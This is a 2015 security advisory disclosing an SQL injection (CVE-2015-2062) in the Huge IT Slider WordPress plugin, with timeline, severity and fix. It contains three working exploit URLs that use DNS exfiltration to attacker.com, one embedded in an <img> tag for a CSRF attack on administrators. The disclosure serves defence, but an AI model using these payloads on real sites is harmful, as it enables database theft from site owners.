SQL Injection in Huge IT Slider WordPress Plugin

[High-Tech Bridge Security Research <advisory () htbridge ch>]

Advisory ID: HTB23250
Product: Huge IT Slider WordPress Plugin
Vendor: Huge-IT
Vulnerable Version(s): 2.6.8 and probably prior
Tested Version: 2.6.8
Advisory Publication:  February 19, 2015  [without technical details]
Vendor Notification: February 19, 2015 
Vendor Patch: March 11, 2015 
Public Disclosure: March 12, 2015 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2015-2062
Risk Level: Medium 
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered an SQL injection vulnerability in Huge IT Slider WordPress Plugin. 
This vulnerability can be exploited by website administrators as well as anonymous attackers to inject and execute 
arbitrary SQL queries within the application’s database. 


1) SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062

The vulnerability exists due to insufficient filtration of input data passed via the "removeslide" HTTP GET parameter 
to "/wp-admin/admin.php" script when "task" parameter is set to "popup_posts" or "edit_cat". A remote authenticated 
attacker with administrative privileges can execute arbitrary SQL queries within the application’s database.

Below are two simple exploit codes that are based on DNS Exfiltration technique. They can be used if the database of 
the vulnerable application is hosted on a Windows system. The codes will send a DNS request requesting IP address for 
`version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server 
of which is controlled by the attacker).

1. Exploit example for "task=popup_posts": 
http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 --

2. Exploit example for "task=edit_cat": 
http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&id=1&removeslide=(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 --

This vulnerability can be also exploited remotely by non-authenticated attackers using CSRF vector, since the web 
application is also prone to Cross-Site Request Forgery attacks. The attacker could use the following exploit code 
against authenticated website administrator to determine version of installed MySQL server:

<img src="http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_posts&id=1&removeslide=(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 --">

-----------------------------------------------------------------------------------------------

Solution:

Update to Huge IT Slider 2.7.0

More Information:
https://wordpress.org/support/topic/huge-it-slider-security-vulnerability-notification-sql-injection

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23250 - https://www.htbridge.com/advisory/HTB23250 - SQL Injection in Huge IT Slider 
WordPress Plugin.
[2] Huge IT Slider WordPress Plugin - http://huge-it.com/ - Huge IT slider is a convenient tool for organizing the 
images represented on your website into sliders. Each product on the slider is assigned with a relevant slider, which 
makes it easier for the customers to search and identify the needed images within the slider.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and 
cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.